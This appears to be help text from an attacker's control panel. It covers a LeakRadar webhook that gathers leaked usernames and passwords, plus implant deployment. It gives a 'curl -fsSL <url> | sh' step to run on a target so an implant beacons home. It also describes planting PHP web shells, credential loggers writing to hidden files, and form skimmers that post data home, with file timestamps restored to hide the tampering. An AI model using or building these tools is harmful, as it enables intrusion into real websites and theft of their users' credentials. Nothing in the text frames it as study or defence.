LeakRadar cannot set custom headers. If you set a secret, it is appended as ?token=… on the URL you paste into their dashboard. Wrong or missing tokens get a silent 404. Disable the listener the same way.

The standing LeakRadar poller searches LeakRadar and unlocks matching raw files, then posts verified finds to /api/sammlung/result with X-Gate-Key. Unverified detector hits are discarded — not summarized, not stored. Poller: –. Last unlock: –. Last find: –

In LeakRadar: Monitoring → Notification methods → Create, type Webhook, paste the URL above, then click Test. Link the method to a monitored asset (domain / email / keyword). Turn on Auto-unlock if you want username and password in the alert; without it Sammlung stores a heads-up row (the message only).

Expected JSON (auto-unlock on): {"leaks":{"message":"…","unlocked_leaks":[{"id","url","username","password","added_at"}]}}

Run it on a target with curl -fsSL <url> | sh (or download + execute). It fetches the implant and beacons in as the given server id. The link is public — anyone with it can download, so treat it like a secret.

The original is backed up to <file>.ktbak and the file's mtime is restored so the change doesn't show in listings. PHP shells trigger on ?<param>=…; the logger writes POSTed credentials to a hidden file you can read in the explorer; the skimmer posts form data home.